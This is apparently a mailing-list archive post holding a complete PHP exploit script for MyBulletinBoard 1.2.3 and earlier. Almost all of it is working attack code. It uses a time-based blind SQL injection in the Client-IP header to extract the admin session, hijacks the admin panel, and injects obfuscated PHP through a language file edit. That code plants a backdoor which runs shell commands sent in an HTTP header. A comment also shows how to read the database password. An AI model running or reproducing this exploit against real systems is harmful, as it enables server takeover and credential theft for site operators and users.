<<< Date Index >>>     <<< Thread Index >>>

MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit



#!/usr/bin/php
<?php
/**
 * This file require the PhpSploit class.
 * If you want to use this class, the latest
 * version can be downloaded from acid-root.new.fr.
 **/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

# http://www.milw0rm.com/exploits/2012
# They corrected (not all) a lot of SQL requests which use the ipaddress, with 
$db->escape_string.
# They don't corrected the function (this is a choice ... the bad) and they 
forgot to correct 1 (only) SQL request.
# They must correct the problem at the source =)
#
if($argc < 3)
{
print("
---  MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit  ---
-----------------------------------------------------------------------
PHP conditions: none
       Credits: DarkFig <gmdarkfig@xxxxxxxxx>
           URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
  Usage: $argv[0] -url http://victim.com/ [Options]
 Params: -url       For example http://victim.com/myBB/
Options: -debug     Debug mod activated (debug_mybb.html)
         -truetime  Server response time which returns true
         -benchmark You can change the value used in benchmark()
         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd>
   Note: If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
");exit(1);
}

$url       = getparam('url',1);
$debug     = (getparam('debug')!='')     ? 1 : 0;
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';
$proxy     = getparam($proxy);
$proxyauth = getparam($proxyauth);

$backdoor  = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php
$filetoed  = 'index.lang.php';

$xpl = new phpsploit();
$xpl->agent('Firefox');
if($proxy) $xpl->proxy($proxy);
if($proxyauth) $xpl->proxyauth($proxyauth);
if($debug) debug(1);

# There is two solutions to be logged in as administrator.
#
# SOLUTION NUMBER 1
# mysql> select * from mybb_users\G
# *************************** 1. row ***************************
#              uid: 1
#         username: root
#         password: 39ac8681f5cf4fcd9c9c09719a618bd3
#             salt: BFeJBOCF
#         loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...
#
# 
$xpl->post($url.'admin/index.php','username=root&password=toor&do=login&goto=');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control 
Panel...
# 
# SOLUTION NUMBER 2
# mysql> select * from mybb_adminsessions\G
# *************************** 1. row ***************************
#        sid: 81e267263b9254f3aaf670383bfbfec9
#        uid: 1
#   loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA
#         ip: 127.0.0.1
#   dateline: 1175443967
# lastactive: 1175444369
#
# $xpl->addheader('Client-IP','127.0.0.1');
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec9');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control 
Panel...
#
# I decided to use the solution number 2.
# We can also add an administrator (easily) ... but it's not interesting.
#
print "\nAdmin IP : "; $ip  = sql_inject('ip');
print "\nAdmin sid: "; $sid = sql_inject('sid');
print "\nTrying to be logged in as administrator";

$xpl->addheader('Client-IP',$ip);
$xpl->get($url."admin/languages.php?adminsid=$sid");

# Trying to find the language
if(preg_match('#<input type="hidden" name="lang" 
value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];
else $lang='english';
print "\nLanguage: $lang";

# Language configuration
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang&editwith=0&file=$filetoed");
preg_match_all('#name="(.*)">(.*)</textarea>#',$xpl->getcontent(),$name_value);

# We can't use:
# - <? OR <?php
# - <script language="php">
# - ' OR "
#
$PHPCODE = '${${error_reporting(0)}}'
          .'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'
          .'${${fwrite($handle,'.chrit('<?php 
error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'
          .'${${fclose($handle)}}';
$name_value[2][0] .= $PHPCODE;

$postdata=array(frmdt_url => $url.'admin/languages.php',
               "adminsid" => $sid, "action" => "do_edit",
               "lang" => $lang, "editwith" => 0,
               "inadmin"=> 0, "file"=> $filetoed,
               "Update Language Variables"=>"  Update Language Variables");

for($i=0;$i<count($name_value[1]);$i++) 
$postdata[html_entity_decode($name_value[1][$i])] = 
html_entity_decode($name_value[2][$i]);

# print $xpl->showlastrequest();
$xpl->formdata($postdata);

# Trying to execute the php code
$xpl->get($url.'index.php');

# If not the default language
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);
print "\nThe php file should be created\n\$shell> ";

# Hello master
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
    # ');include('../../inc/config.php');print $config['password'];//
    $xpl->addheader('Shell',"system('$cmd');");
    $xpl->get($url.$backdoor);
    print $xpl->getcontent()."\n\$shell> ";
}

function sql_inject($field)
{
        global 
$xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; 
#,$fakeip
        $sub=0;$string='';
        
        if($field=='ip') {$a='44';$b='57';} # . 0-9
        else {$a='46';$b='70';}             # 0-9 A-Z
        
        while(TRUE)
        {
                $sub++;
                for($i=$a;$i<=$b;$i++)
                {
                        # Random ip
                        $fakeip = rand(128,254).'.'
                                 .rand(128,254).'.'
                                 .rand(128,254).'.'
                                 .rand(128,254);

                        # Calculation of the server response time which returns 
TRUE
                        if($i==$a) $f='TST';
                        
                        # End of the string ?
                        elseif($i==($a+1)) $f='NULL';
                        
                        # Test the char
                        else $f=$i;
                        
                        # Table prefix
                        if($sub==1 AND $i==$a)
                        {
                                
$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");
                                $xpl->get($url.'index.php');

                                if(preg_match("#DELETE FROM 
(\S*)sessions#i",$xpl->getcontent(),$match)) $prefix=$match[1];
                                else $prefix='mybb_';
                        }

                        # +-class_session.php (#2)
                        # |
                        # 475.  function create_session($uid=0)
                        # 476.  {
                        # 477.          global $db;
                        # 478.          $speciallocs = 
$this->get_special_locations();
                        # 479.
                        # 480.          // If there is a proper uid, delete by 
uid.
                        # 481.          if($uid > 0)
                        # 482.          {
                        # 483.                  
$db->delete_query(TABLE_PREFIX."sessions", "uid=".$uid);
                        # 484.                  $onlinedata['uid'] = $uid;
                        # 485.          }
                        # 486.          // Else delete by ip.
                        # 487.          else
                        # 488.          {   // $this->ipaddress = get_ip();
                        # 489.                  
$db->delete_query(TABLE_PREFIX."sessions", "ip='".$this->ipaddress."'");
                        # 490.                  $onlinedata['uid'] = 0;
                        # 491.          }
                        #
                        $sql  = $fakeip."' OR ip=(SELECT IF(SUBSTR(";
                        $sql .= ($f=='TST') ? "(SELECT 1)" : "(SELECT $field 
FROM ${prefix}adminsessions ORDER BY lastactive DESC LIMIT 1)";
                        $sql .= ($f=='TST') ? ",1" : ",$sub";
                        $sql .= ($f=='TST') ? ",1)=CHAR(49)" : ",1)=CHAR($f)";
                        $sql .= ",BENCHMARK($benchmark,CHAR(66)),1)) #";


                        # +-functions.php (#1)
                        # |
                        # 1836. function get_ip()
                        # 1837. {
                        # 1838. if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
                        # 1839. {
                        # 1840.         
if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", 
$_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
                        # 1841.         {
                        # 1842.                 foreach($addresses[0] as $key 
=> $val)
                        # 1843.                 {
                        # 1844.                         
if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
                        # 1845.                         {
                        # 1846.                                 $ip = $val;
                        # 1847.                                 break;
                        # 1848.                         }
                        # 1849.                 }
                        # 1850.         }
                        # 1851. }
                        # 1852. if(!isset($ip))
                        # 1853. {
                        # 1854.         if(isset($_SERVER['HTTP_CLIENT_IP']))
                        # 1855.         {
                        # 1856.                 $ip = 
$_SERVER['HTTP_CLIENT_IP'];
                        # 1857.         }
                        # 1858.         else
                        # 1859.         {
                        # 1860.                 $ip = $_SERVER['REMOTE_ADDR'];
                        # 1861.         }
                        # 1862. }
                        # 1863. return $ip;
                        # 1864. }
                        #
                        $bef = time();
                        $xpl->reset('header');
                        $xpl->addheader('Client-IP',$sql);
                        $xpl->get($url.'index.php');
                        $aft = time();
                        
                        if($f=='TST') $truetime=$aft-$bef;
                        if(getparam('truetime')!='') 
$truetime=getparam('truetime');
                        
                        # Server response time >= Server response time which 
returns TRUE ?
                        $restime = $aft-$bef;
                        if($restime >= $truetime AND $f != 'TST') 
$result='TRUE';
                        else $result='FALSE';

                        # Debug mode activated
                        if($debug) debug('',$field);
                        
                        # The tested char returns TRUE
                        if($result=='TRUE')
                        {
                                if($f!='NULL')
                                {
                                        # Continue
                                        print strtolower(chr($f));
                                        $string .= chr($f);
                                        break;
                                }
                                else
                                {
                                        # End of the string
                                        $xpl->reset('header');
                                        return $string;
                                }
                        }
                        
                        # Retry if no char found
                        if($f==$b) $sub--;
                }
        }
}

function debug($init='',$dafield='')
{
        global $result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
        if($init)
        {
                $handle = fopen("debug_mybb.html","w+");
                $data = "<h1><div align='center'>MyBulletinBoard (MyBB) &lt;= 
1.2.3 Code Execution Exploit</div></h1>
                <pre><table width='0' border='1' align='center' 
cellspacing='0'><tr>
                <td align='center'><b>REQUEST TIME</b></td>
                <td align='center'><b>RESPONSE TIME</b></td>
                <td align='center'><b>TRUETIME</b></td>
                <td align='center'><b>BENCHMARK</b></td>
                <td align='center'><b>RESULT</b></td>";
                # <td align='center'><b>IP</b></td>
                $data .= "<td align='center'><b>FIELD</b></td>
                <td align='center'><b>CHARSET</b></td>
                <td align='center'><b>SUBSTR()</b></td>
                <td align='center'><b>ORD()</b></td>
                <td align='center'><b>CHAR()</b></td>";
                fwrite($handle,$data);
                fclose($handle);
        }
        else
        {
                $handle = fopen("debug_mybb.html","a");
                $data   = "<tr".(($result=='TRUE') ? " bgcolor='#FFFF00'" : 
"").">
                <td align='center'>&nbsp;".htmlentities($bef)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($aft)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($truetime)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($benchmark)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($result)."&nbsp;</td>";
                # <td align='center'>&nbsp;".htmlentities($fakeip)."&nbsp;</td>
                $data .= "<td 
align='center'>&nbsp;".htmlentities($dafield)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities("$a-$b")."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($sub)."&nbsp;</td>
                <td align='center'>&nbsp;".htmlentities($f)."&nbsp;</td>
                <td 
align='center'>&nbsp;".htmlentities(chr($f))."&nbsp;</td></tr>";
                fwrite($handle,$data);
                fclose($handle);
        }
}

function chrit($string)
{
        $char = '';
        for($i=0;$i<strlen($string);$i++)
        {
                $char .= 'chr('.ord($string[$i]).')';
                $char .= ($i != (strlen($string)-1)) ? '.' : '';
        }
        return $char;
}

function getparam($param,$opt='')
{
        global $argv;
        foreach($argv as $value => $key)
        {
                if($key == '-'.$param) {
                   if(!empty($argv[$value+1])) return $argv[$value+1];
                   else return 1;
                }
        }
        if($opt) exit("\n-$param parameter required");
        else return;
}
?>